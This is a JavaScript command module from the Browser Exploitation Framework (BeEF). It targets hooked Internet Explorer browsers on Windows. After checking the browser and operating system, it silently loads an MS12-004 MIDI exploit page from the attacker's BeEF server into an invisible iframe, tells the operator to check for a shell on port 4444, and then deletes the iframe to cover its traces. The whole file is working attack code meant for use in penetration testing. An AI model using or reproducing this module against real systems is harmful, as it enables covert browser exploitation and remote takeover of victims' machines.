//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

  // check browser
  if (beef.browser.isIE() != 1) {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer");
    return
  }

  // check OS
  if (beef.os.isWindows() != 1) {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows");
    return
  }

  // exploit
  var url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms12_004_midi.html';
  var timeout = 15;
  var ie_ms12_004_midi_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
  ie_ms12_004_midi_iframe_<%= @command_id %>.setAttribute('src', url)
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444");

  // cleanup
  cleanup = function() {
    document.body.removeChild(ie_ms12_004_midi_iframe_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});
